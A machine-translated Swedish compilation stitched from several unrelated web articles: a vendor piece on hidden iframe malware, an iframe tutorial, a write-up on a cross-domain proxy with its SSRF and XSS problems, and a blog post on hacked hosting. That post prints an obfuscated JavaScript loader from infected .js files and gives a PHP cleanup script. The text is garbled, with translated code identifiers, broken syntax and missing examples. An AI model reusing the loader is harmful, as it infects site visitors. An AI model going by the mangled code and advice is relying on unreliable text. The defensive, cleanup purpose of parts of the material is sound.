Ett av de vanligaste sätten att infektera webbplatsbesökarnas dator är att utnyttja en sårbarhet som är förknippad med ett överflöd av användarbuffertar i webbläsaren. Receptet är ganska enkelt. Angripare injicerar skadlig kod genom att infoga iframes på webbsidor och försöker ladda ner skadliga filer till en intet ont anande användares dator. Det är ganska lätt att upptäcka sådana skadliga infogningar på dina webbplatser. Du måste bara vara uppmärksam på kodfragmenten som använder iframe-anslutningen. Sådana inlägg kan finnas i både HTML- och PHP-filer.

Angripare försöker nästan alltid dölja användningen av skadliga satsningar så mycket som möjligt för ägarna, dölja dem visuellt för resursanvändare och fördunkla (obfuskera) deras kod.

Döljer iframe-inlägg från användarnas ögon

För att dölja en skadlig infogning använder hackare i de flesta fall samma metod om och om igen - de ställer in egenskaperna för taggen så att den inte visas på sidan, utan finns i dess kod. Oftast är bredden och längden inställda på noll eller en pixel: width="1px", height="1px".

Till exempel kan skadlig kod se ut så här:

Men ofta hackare begränsar sig inte till en sådan förklädnad, och kompletterar döljandet med mer sofistikerade tekniker som kan förvirra och komplicera sökning och eliminering även för avancerade programmerare.

Obfuskation

Detta är en av de vanligaste metoderna för att skydda kod vid programmering i ostrukturerade språk (som till exempel PHP). Faktum är att all kryptering handlar om att blanda ihop/fördunkla själva koden genom att ändra namnen på variabler och andra element. Som ett resultat är det ganska svårt att känna igen tecken på skadlighet i obfuskerad kod och är endast möjligt baserat på indirekta tecken på explicit användning av speciella JS (JavaScript)-funktioner som används specifikt för obfuskering: unescape , fromCharCode .

Upptäckten av obfuskerad kod på en webbplats betyder dock inte att den definitivt är skadlig eller lätt att ta bort. Du måste förstå att för det första kan angripare fördunkla koden och även fånga en del av webbplatsens arbetskod. I det här fallet, när du försöker klippa ut ett krypterat fragment, riskerar du att krascha din resurs. För det andra kanske obfuskerad kod inte är skadlig, utan bara en konsekvens av driften av ditt CMS eller dess individuella komponenter, såväl som ytterligare moduler du har installerat.

I vilket fall som helst, om du stöter på misstänkt förvirrad kod, måste du agera med största försiktighet.

Andra tecken på infektion

Om du tvivlar på om koden du hittade är skadlig kan du försöka analysera indirekta tecken. Om du har ett stort antal filer på din webbplats, kanske du vill vara uppmärksam på datum och tid sista ändring filer. Om du väl känner till scenarierna för hur ditt CMS fungerar med filer kan du titta närmare på filer som ändrats på samma datum vid samma tidpunkt, eller med ändringar som sker vid samma tidsintervall, till exempel 1 sekund.

Om du är en avancerad programmerare kan du skriva ett skript som kontrollerar förekomsten av den typ av inlägg du har upptäckt i alla filer på din webbplats. Om du är ännu mer avancerad kan du tvinga skriptet att klippa ut inlägg, dock måste du alltid vara försiktig.

Alternativa metoder

Vi rekommenderar att du använder Virusday-tjänsten för att ta bort skadliga inlägg även om du är en avancerad specialist. Vår tjänst innehåller inte bara många signaturer som kan användas för att hitta skadliga koder, utan sparar också tid! Dessutom kommer kostnaden för att använda Virusday för städning sannolikt att vara mycket lägre än att betala för din egen tid. Du kommer att kunna upptäcka och ta bort inte bara iframe-inlägg utan även många andra hot. Du kommer förmodligen att kunna hitta och automatiskt ta bort hotet som gjorde att iframe-inlägg visades på din webbplats, till exempel Shell.

Virusday serviceteam.

I början av webbplatsbyggandet använde webbresurser i stor utsträckning ramar för att visa enskilda delar av sidor. Men med ankomsten ny version HTML 5 har förändrat allt. Markup element , och är utfasade. De ersattes av en enda tagg - . Hur lägger man till i html? Exemplet nedan kommer att vara tydligt även för en nybörjare inom programmering.

Vad är ramar?

Ramen är grunden för de flesta första webbsidorna. Om det översätts ordagrant betyder det här ordet "ram", det vill säga en ram är en liten del av en sida i en webbläsare. Den utbredda användningen av ramar i det förflutna kan förklaras av den låga kvaliteten och höga kostnaderna för internettrafik. Som regel var platsen uppdelad i 3-5 delar, som var och en tjänade ett specifikt syfte:

• "header" (översta ramen längs sidans bredd) - visar namnet på resursen;
• vänster/höger "glas" - menyvisning;
• Den centrala ramen är en visning av webbplatsens innehåll.

Att dela upp sidan i delar gjorde det möjligt att överbelasta endast en viss del när den uppdaterades. Användaren klickade till exempel på ett menyalternativ och nytt innehåll laddades ner till den centrala ramen.

Moderna ramar i HTML 5

Varför behövs det i HTML? Ett exempel är att infoga innehåll från en tredjepartsresurs. Den klassiska situationen är när en webbutvecklare vill visa platsen för ett objekt på en karta. Vad ska jag göra? Rita en plan från grunden? Nej - det finns en enklare lösning: bädda in en Google Map, Yandex Maps eller 2GIS-element på sidan. Problemet löses i fyra steg.

Du måste gå till webbplatsen för någon karttjänst.

Hitta önskat objekt. När du vet den exakta adressen kan du ange den i sökfönstret.

Använd knappen "Spara och hämta kod" (för Yandex.Maps) eller "Klar" (för Google kartor) hämta inbäddningskoden.

Allt som återstår är att ange de genererade markup-taggarna på sidan.

Dessutom kan du välja kartstorlek och konfigurera andra visningsalternativ.

Hur kan du annars använda det i HTML?? Ett exempel är att infoga videomaterial från Youtube-resursen. Multimediateknik lockar Internetanvändare, vilket är anledningen till att videoinnehåll är så populärt. Utvecklaren kommer att hantera installationen av videon snabbt.

Du bör ladda upp din egen video till Youtube eller hitta en fil från tredje part att sända.

Få taggen genom att välja "HTML-kod"-knappen

Det sista steget är att klistra in i . Ett exempel på det resulterande tagginnehållet kommer att diskuteras nedan.

Båda exemplen använde automatisk kodgenerering, men professionella utvecklare bör kunna skriva kod själva. För det första kommer detta att tillåta dem att förstå layouten på sidan och, om nödvändigt, ändra den. För det andra, uppmärkningen av webbplatselement (även om de tillhör en extern resurs) bildas inte alltid utan medverkan av webbmastern. Det är här utvecklarens höga kvalifikationer kommer in i bilden.

Syntax

Så innan du börjar lägga ut sidan måste du överväga taggen iframe (html): vad det är och hur man använder det på rätt sätt.

Först och främst bör det noteras att taggen är parad. Mellan de inledande och avslutande elementen anger du innehållet som ska visas i webbläsare som inte stöder detta uppmärkningselement. Huvudtaggattribut:

• width(width);
• höjd(höjd);
• src (adress till den nedladdade resursen);
• align(align method);
• ramkant;
• tillåt helskärm.

Alltså koden för . HTML-exemplet visas i sin helhet nedan:

I ovanstående markering räcker det att ersätta webbplatsadressen med vilken som helst annan och, om nödvändigt, justera ramstorleken.

Element

Ramar

Vad gör den?

Hur infogar man en sida i en HTML-sida? För att göra detta måste du använda , som skapar en inline-ram i det aktuella dokumentet där ett annat HTML-dokument visas.

Visa

Displayblock.

Exempelkod

Kraftfull men ändå enkel att använda

Tillbaka i den gamla dåliga tiden av webbdesign fanns det många element som förstörde livet för varje utvecklare. De var nästan alltid en dålig designstrategi. Lyckligtvis har elementet fasats ut i HTML5. Men eller "inline frame" är fortfarande tillgänglig. Kommer det att fasas ut i nästa version? Vi kanske borde undvika det? Det finns flera giltiga användningsområden för detta element när du skapar en HTML-sida. Men du måste förstå vad det är och hur det fungerar för att undvika misstag.

Likheter och skillnader och

Båda dessa element låter dig skapa ett separat HTML-dokument. En länk till innehållet i dokumentet som den aktuella webbsidan refererar till anges i src-attributet.

. . . . . .

Den största skillnaden mellan och är att den upprätthåller regeln att HTML-dokumentet har företräde. Innehållet visas i ett element som är en del av det aktuella dokumentet. Som ett exempel, betrakta denna inbäddade video från YouTube:

Videon finns helt klart på en HTML-sida, och inte på vissa separat panel. elementet bröt detta paradigm och tillät dokumentet att utöva kontroll över webbläsarfönstret och dela upp det i flera små paneler (ramar), som var och en visar ett separat dokument. Alla andra skillnader mellan och följer av denna grundläggande skillnad.

Gör inte om rambaserade layouter med iframes

Någon gång kan du ställas inför uppgiften att uppdatera en gammal webbplats som byggdes med ramar. Du kanske också vill använda en layout med fast bredd för att återskapa samma mardröm av oberoende paneler och trösklar. Men du kommer inte att kunna använda målattribut för att öppna länken i en separat ram. Du kan börja leta efter JavaScript-lösningar. Snälla gör inte det.

Bra (och fruktansvärda) användningsområden

Det finns flera giltiga användningsfall för HTML skapande sidor:

• bädda in tredje parts mediainnehåll;
• bädda in ditt eget medieinnehåll genom ett plattformsoberoende dokument;
• exempel på inbäddningskod;
• bädda in "applets" från tredje part som betalningssätt.

Här är några hemska användningsfall:

• Fotogalleri;
• forum eller chatt.

Om du behöver bädda in oberoende, redan existerande HTML-dokument i det aktuella, använd . Om du bygger allt från grunden finns det ingen anledning att dela upp siddesignen i flera separata dokument. Särskilt om de faktiskt inte är oberoende delar av innehåll.

iframe-attribut

Attributnamn	Menande	Beskrivning
sandlåda	Tillåt-samma-ursprung Tillåt toppnavigering Tillåt-formulär Tillåt-skript	Anger ett antal begränsningar för innehållet som laddas in i ramen. Ställ in innan du skapar en HTML-sida.
rullning	ja nej auto	Bestämmer om rullningar ska visas i ramen eller inte. Utfasad i HTML5. Använd CSS istället.
namn	namn	Anger namnet på ramen.
Justera	vänster höger upptill mitten botten	Bestämmer ramens inriktning relativt omgivande element. Är föråldrad. Använd CSS istället.
ramkant	ja (eller 1) Nej	Används för att aktivera visning av en ram runt ramen. Utfasad i HTML5. Använd CSS istället.
longdesc	URL	Används för att ange webbadressen till en sida som innehåller en lång beskrivning av innehållet i ramen. Är föråldrad. Använd CSS istället.
marginalbredd	pixlar	Används för att styra utfyllnadens bredd från innehållet till ramkanten. Är föråldrad. Använd CSS istället.
src	URL	Anger dokumentets URL som ska visas i IFRAME.
vspace	pixlar	Ställer in de vertikala marginalerna från ramen till det omgivande innehållet. Är föråldrad. Använd CSS istället.
bredd	pixlar %	Definierar ramens bredd med HTML-sida.

Denna publikation är en översättning av artikeln "", utarbetad av det vänliga projektteamet

Vi gjorde en analog till Google Webmaster Marker-verktyget. Låt mig påminna dig om att Marker är ett verktyg i Google Webmaster-kontot som låter dig kommentera dina Open Graph-sidor med taggar. För att göra detta väljer du helt enkelt en textbit på sidan med musen och anger att detta är titeln, och detta är betyget. Din sida läses in i en iframe på den webbansvarigas konto.

Nu vet Google, efter att ha stött på en liknande sida på din webbplats, redan vilken typ av innehåll som publiceras på den och hur man vackert analyserar det till dess essens (artikel, produkt, video...)

Vi behövde liknande funktionalitet. Uppgiften verkade enkel och uteslutande på klientsidan. Men i praktiken ligger lösningen i skärningspunkten mellan klientsidan och serversidan (”rena” JS-programmerare kanske inte vet något om olika proxyservrar och tar väldigt lång tid att närma sig projektet). Jag hittade dock ingen artikel på internet som skulle beskriva hela tekniken från början till slut. Jag skulle också vilja säga tack till BeLove-användaren och våra säkerhetsvakter för deras hjälp.

I vårt fall ville vi att webbmastern bekvämt (genom att klicka med musen) skulle kunna få xPath-värdet för vissa element på sin sida.

Iframe "Same Origin" Och så i vår adminpanel måste en person ange URL:en till sidan på sin webbplats, vi kommer att visa den i iFrame, personen kommer att peka med musen där det behövs, vi kommer att få den nödvändiga xPath. Allt skulle vara OK, men vi har inte tillgång till innehållet på en sida från en annan domän som laddats in i en iframe i vår adminpanel (vår domän), på grund av webbläsarens säkerhetspolicy.CORS - Cross origin resursdelning Vissa personer tipsade mig om att använda CORS. En modern teknik som löser många problem med att komma åt innehåll från en annan domän i webbläsaren och låter dig kringgå begränsningar av samma ursprungspolicy.
En webbplats som vill ge åtkomst till sitt innehåll på sidorna på någon annans domän skriver helt enkelt i http-huvudet:
Access-Control-Allow-Origin: http://example.com
Och i rubriken http-förfrågan kommer från en sida på en annan domän från webbläsaren bör det finnas ett ursprungsfält:
Ursprung: www.mysupersite.com
Det är tydligt att webbläsaren själv lägger till ursprungsfältet i begäran. Låt oss titta på artikeln om Habré och se att moderna webbläsare lägger till Origin även till en begäran om samma domän:

Dock:

webbläsare anger inte ursprung i rubriken på begäran till sidan som laddas i iframe (kan någon förklara varför?)

vi vill inte be webbansvariga att ange Access-Control-Allow-Origin-huvudet

Iframe sandbox En annan modern teknik. Sandbox är ett attribut för Iframe-taggen. Ett av värdena för detta attribut kan ställas in på allow-same-origin . Innan jag började gräva i det här ämnet visste jag inte exakt vad det här attributet gör, men det lät väldigt lockande. Sandbox-attributet begränsar dock helt enkelt vad en sida laddad i en iframe kan göra och har ingen betydelse för frågan om att komma åt innehållet i ramen från det överordnade dokumentet.

Specifikt säger värdet för tillåt samma ursprung (eller snarare, dess frånvaro) bara att iframen alltid ska betraktas som laddad från en främmande domän (du kan till exempel inte skicka AJAX-förfrågan till domänen för det överordnade dokumentet)

Låt oss se hur Google gjorde det Dags att se hur storebror gjorde det

Låt oss vara uppmärksamma på src-attributet för iframe-elementet: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - vår sida laddas in i adminpanelen med Google-domän. Vidare är det ännu allvarligare: även skript och bilder i källdokumentet körs genom en proxy. Alla src, href... ersätts i html med proxyade. Något som det här:

Alla resurser som din sida använder lagras också på Googles proxyservrar. Här är vårt till exempel.

CGIProxy? Det verkade genast som att för att göra samma sak måste du höja en fullvärdig proxy som CGIProxy. Den här proxyservern gör ungefär samma sak som Googles wmthighlighter.googleusercontent.com
Besök skriptets URL för att starta en surfsession. När du väl har fått en sida via proxyn kommer allt det länkar till automatiskt att gå via proxyn. Du kan bokmärka sidor du bläddrar till, och dina bokmärken kommer att gå genom proxyn som de gjorde första gången. Din egen proxy! Men om du begränsar uppgiften är det mycket lättare att skriva en enkel proxy själv. Faktum är att Google gör detta, att skicka allt sidinnehåll via en proxy är inte alls nödvändigt. Vi behöver bara HTML-koden för vilken sida som helst som ska visas från vår domän, och resurser kan laddas från den ursprungliga domänen. Vi har kasserat HTTPS för tillfället.
Det finns inget behov av superprestanda eller enkla inställningar här, och detta kan göras snabbt och med vad som helst, från node.js till php. Vi skrev en servlet i Java Ladda ner sidan Vad ska en proxyservlet göra? Med hjälp av get-parametern får vi webbadressen till sidan som behöver laddas och laddar sedan ner sidan.

Se till att bestämma sidans kodning (via http-svar eller teckenuppsättning i html) - vår proxy måste svara med samma kodning som sidan vi laddade. Vi kommer också att definiera innehållstypen för säkerhets skull, även om det är tydligt att vi får sidan i text/html och vi kommer att ge tillbaka den på samma sätt.
final String url = request.getParameter("url"); final HttpGet requestApache = new HttpGet(url); final HttpClient httpClient = new DefaultHttpClient(); final HttpResponse responseApache = httpClient.execute(requestApache); final HttpEntity entity = responseApache.getEntity(); final String encoding = EntityUtils.getContentCharSet(entity); final String mime = EntityUtils.getContentMimeType(entity); String responseText = IOUtils.toString(entity.getContent(), kodning);
*För dig som gillar att utvärdera andras kod: i vårt team har alla samma formateringsinställningar för eclicpse-kod, och när du sparar en fil lägger eclipse själv till final till alla variabler om de inte ändras någon annanstans. Vilket för övrigt är ganska bekvämt i slutändan.

Ändra relativa URL:er till absoluta ettor i sidkoden Du måste gå igenom alla attribut med src och href på sidan (sökvägar till stilfiler, bilder), och ersätta relativa URL:er med absoluta. Annars kommer sidan att försöka ladda ner bilder från vissa mappar på vår proxy, vilket vi naturligtvis inte har. Alla språk har färdiga klasser, eller så kan du hitta kodavsnitt för detta på stackoverflow:
final URI uri = new URI(url); final String host = uri.getHost(); responseText = replaceRelativeLinks(host, responseText); Skickar html Det är allt, proxyservleten är klar. Vi skickar ett svar, ställer in önskad kodning och mime.
protected void sendResponse(HttpServletResponse response, String responseText, String encoding, String mime) kastar ServletException, IOException ( response.setContentType(mime); response.setCharacterEncoding(encoding); response.setStatus(Httsponse responseSC.WriteSC.WriteSC.Write). print(responseText); response.flushBuffer(); Distribuera och testa Implementera vår proxyservlet till samma adress som adminpanelen adminpanel.indexisto.com, ladda webbmasterns webbsida i vår iframe via proxyn och alla domänproblem försvinna.
Vår proxy arbetar kl
http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
- så här kommer navet att laddas från vår domän. Vi ger denna adress i iframen och försöker komma åt DOM-trädet för hubben via JS i adminpanelen - allt fungerar. CSRF kommer naturligtvis inte att fungera eftersom sidan laddades från vår proxy som inte har cookies. startsida vår nginx. Låt oss prova någon intern (inte synlig utåt) resurs på samma nätverk som vår proxyserver. Till exempel secured_crm.indexisto.com - allt är på plats.
Naturligtvis försöker vi förbjuda dessa saker i vår proxy, om någon försöker proxy localhost avslutar vi utan att returnera något:
if (url.contains("localhost")||url.contains("127")||url.contains("highlighter")||url.contains("fil")) ( LOG.debug("Försöker hämta lokal resurs Url = " + url); return; )
men vi kommer helt klart inte att lista alla nätverksresurser här. Det betyder att vi måste flytta proxyn till en helt isolerad miljö så att maskinen inte ser något annat än Internet, sig själv och vår proxy. Vi väljer en maskin, konfigurerar och startar vår servlet där XSS-problem. Låt oss ladda upp vår sida till vår iframe där vi kommer att skriva:
alert("xss")
En varning dyker upp. Tyvärr. Detta kan kringgås med attributet iframe sandbox allow-scripts, men hur är det med äldre webbläsare som inte riktigt förstår detta attribut? Du kan bara stjäla dina kakor, men du kan fortfarande inte lämna dem så.
Vi flyttar servleten inte bara till en separat maskin, utan ger den också en separat underdomän highlighter.indexisto.com .

Vi anlände, vi bröt vår egen lösning med att kringgå begränsningar över flera domäner. Nu kan vi inte nå iframe-innehållet igen.

Jag fortsatte att hitta en lösning från Google och öppnade vår sida som serverades via en proxy i ett separat fönster

Och jag märkte ett konstigt fel i konsolen.
CrossPageChannel: Kan inte ansluta, peer-fönsterobjekt inte inställt.
Det blev tydligt att det var mer komplicerat att organisera allt än att bara ladda en sida till en iframe från din domän. Sidor kommunicerar med varandra. Följaktligen går vi mot window.postMessage

Post Message Det var omänskligt att tvinga webbmastern att bädda in vårt skript på sin sida, vilket skulle säkerställa att sidelement valdes med musen, och sedan skulle xPath för dessa element skickas till oss i det överordnade dokumentet via postMessage. Men ingen hindrar vår proxy från att injicera några skript på sidan som laddas in i iFrame.
Vi sparar alla skript som behövs för implementering i en fil och infogar dem före den avslutande texten:
final int positionToInsert = responseText.indexOf(""); final InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); final StringWriter writer = new StringWriter(); IOUtils.copy(inputStream, writer); final String jsToInsert = writer.toString(); responseText = responseText.substring(0, positionToInsert) + jsToInsert + responseText.substring(positionToInsert, responseText.length());
för testning infogar vi en varning - allt fungerar JS-delen - vi markerar huselementet under musen och får xpath Okej, låt oss gå vidare till den faktiska JS som vi infogade på webbmasterns sida.
Vi måste markera dom-element över vilka en person flyttar musen. Det är bättre att göra detta med hjälp av skugga eftersom elementet då inte kommer att röra sig och hela sidan hoppar. Vi hänger med musen över kroppen och tittar på målet för evenemanget. I samma hanterare beräknar jag elementets xpath. Det är bättre att beräkna xPath för ett element per klick, men jag märkte inte heller några nedgångar i den här implementeringen.
elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px red"; curXpath = getXPathFromElement(ev.target); )
Jag tillhandahåller inte implementeringen av att få xPath för ett DOM-element här. Det finns många utdrag om hur man gör detta. Dessa utdrag kan modifieras för att passa dina behov, till exempel behöver du bara taggar i xpath. Eller behöver du id om de finns och klasser om det inte finns id - alla har sina egna krav.

Här är ett exempel på en proxy startsida Habr med inbäddat skript:
http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

JS-del - bearbetning av klicket En persons klick på sidan i iframen "släcks" omedelbart (länken i iframen kommer inte att följas). Vi skickar också strängen av den mottagna xPath till det överordnade fönstret (vi sparade den i det skede då vi flyttade musen över elementet)
document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Vinst! Det är allt, nu i vår adminpanel kan en webbansvarig snabbt få xpath-vägar till element på sina sidor mycket enklare.

Låt oss lägga till lite mer säkerhet Okej, allt fungerade för oss, men det finns ett problem med att vår proxy ser ut i världen helt oskyddad. Vem som helst kan proxy vad som helst.

Vi sätter nginx framför proxyn, den lyssnar på port 80 och vi tar bort själva proxyn till en annan port. Vi stänger alla andra hamnar utom 80 från omvärlden.

Låt oss nu få proxyn att fungera endast via adminpanelen. I det ögonblick när webbmastern anger webbadressen till sin webbplats, springer vi snabbt till servern där vi genererar en md5-hash från den aktuella tidsstämpeln + 1 timme, själva webbadressen och superhemligheten när:
final String md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; final MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); String code = Base64.encodeBase64String(md.digest()); code = code.replaceAll("/", "_"); code = code.replaceAll("\\+","-");
Observera också att i koden får vi md5-strängen inte som den vanliga hexadecimalen, utan i base64-kodning, plus i den resulterande md5 gör vi konstiga ersättningar av snedstreck och plustecken med understreck och bindestreck.
Faktum är att ngnix använder base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
Och Java ger kanonisk base64.

Efter att ha fått ett svar från en server med säker md5 i vår adminpanel försöker vi ladda följande url i iframen:
highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

Nu konfigurerar vi nginx HttpSecureLinkModule-modulen. Den här modulen kontrollerar md5 för alla parametrar som kom till den (samma hemliga nyckel är registrerad i modulen som i admin-servleten), kontrollerar om länken har analyserats och skickar endast i detta fall begäran till vår proxyservlet .

Nu kan ingen använda vår proxy från utanför adminpanelen, och kan inte heller infoga en efterfrågad bild till vår server någonstans - den kommer att dö inom en timme ändå.

Det är allt folks Google gick naturligtvis mycket längre med sitt markörverktyg. För att tydligt identifiera ett element på en sida, måste du markera samma element (till exempel titeln på en artikel) på flera sidor av samma typ. att du mer exakt kan bygga xpath och kassera olika id som "post-2334", som uppenbarligen bara fungerar på en sida I vår adminpanel måste xpath korrigeras manuellt för att få ett acceptabelt resultat.

Jag ville starta min blogg med texter, men det var en så turbulent vecka att jag bestämde mig för att hälsa alla med en innehållsrik artikel. Hallå!

Och hela veckan gick i krig med konstant hackning av min hosting och infektion av alla JavaScript-filer med iframes, och detta är inte mindre än cirka 2500 skript och alla sajter med virus.

Jag hade inte tid att rensa alla filer på en dag. manuellt läge och ändra lösenord, men nästa dag hände allt igen - lösenorden läckte på något sätt och skripten nåddes återigen framgångsrikt via FTP.

Fredagen i veckan var droppen och jag tillbringade dagen med att skydda mina servrar:

Konfigurerad .ftpaccess på servrarna - vilket begränsar FTP-åtkomst till servrar från alla IP-adresser utom din statiska;

Jag skrev ett skript för automatisk borttagning för iframes och virus från alla .js-filer. Alltså i ordning.

Infektion av webbplatsfiler sker genom att helt enkelt infoga iframe-kod i filer via ftp. Tidigare observerade jag oftare infogning i .php, .html-filer - vilket ledde till att webbplatser kraschade, idag har skadlig kod blivit snällare och började skriva inlägg exklusivt. i filer med filtillägget .js - JavaScript . IFRAME-inlägg skrivs i slutet av filen och kan vara antingen i explicit form (upptäcks lätt av antivirus) eller i kodad form (arbetet av olika iframe-kryptors), till exempel:

prova ( q= document.createElement ("u") ; q.appendChild (q+ "" ) ; ) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ;) try ( qwe= prototype ; ) catch (brebr) ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h ) ? "ode" : "" ; w= w[ f.substr (11 ) + zz] ; $55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5" (e) " : "" ) + "p" + "lit" ] ("a$" .substr (1) ); för (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) q= ss;

try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototyp;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$5.13$5$5.7$3$13$5$. 3,5 USD $2$59.5 $17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1 -2 -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e (q ;)

Allt detta symboliska kaos resulterade JavaScript fungerar förvandlas till en lättläst HTML-kod för iframe-infogningen och laddar ner viruskroppen till webbplatsanvändaren genom driften av exploateringen. Baserat på denna minimiteori kommer vi att börja skydda oss mot webbplatsinfektioner.

Settings.ftpaccess - begränsa FTP-åtkomst till servrar

Virus som rånar dina ftp-lösenord är så listiga att antivirus ofta är maktlösa och lösenord läcker, oavsett hur hårt du skyddar dig. Jag föreslår att ta en annan väg - och helt enkelt blockera åtkomsten till din ftp. För att endast tillåta FTP-åtkomst från vissa IP-adresser, placera .ftpaccess-filen med innehållet i roten på din server eller webbplatsmapp:

Tillåt från xx.xx.xx.xx Tillåt från xx.xx.xx.xx Neka från alla

Där xx.xx.xx.xx är din IP från vilken FTP-aktivitet är tillåten, hejdå till alla andra.

För en dedikerad IP, ring din leverantör!

Om du fortfarande inte kan få en dedikerad adress, men har dynamiska adresser, kan du ange intervallet av adresser från vilka IP-adresser utfärdas av din internetleverantör, till exempel kommer det att se ut så här:

Tillåt 212.32.5.0/26 Tillåt 158.152.0.0/16 Neka från alla

Detta kommer att begränsa hackares åtkomst till dina servrar.

Skript för automatisk borttagning från alla iframe-infogningsfiler

Efter att servrarna var skyddade började jag skriva ett skript som kunde kontrollera webbplatsen för virus och som skulle gå igenom alla värdmappar och kontrollera filformaten jag angav för förekomsten av iframes i innehållet. Resultatet av arbetet var följande skript, som tar bort skadlig kodinsättning från webbplatssidor, i ett specifikt exempel från .js-skript:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

$v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ); $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ); $ virus_text = substr ($v, $pos_start, $pos_end) ; if ($virus_text != "" ) ( if (! stristr ($v , $virus_text) ) ( $nfile = $v ; ) else ( if (! $ flagga ) ( $flagga = true ; if (in_array ($ffile , $GLOBALS [ "skip_files" ]) ) echo " - skipped" ; else ( echo " - infected" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $file = fopen ($filename , "w") ; fwrite ($file , implode ($nfile , "" ) ) ) ; fclose ($file ); echo "Num infected = $num_infected " ; ?>

$v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") ( if (!stristr($v, $virus_text)) ( $nfile=$v; ) else ( if (!$) flagga) ( $flagga=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - skipped"; else ( echo " - infected"; $GLOBALS["num_infected"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filnamn,"w"); fwrite($fil,implode($nfil,"")) ; fclose($file ) ) dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Num infected = $num_infected "; ?>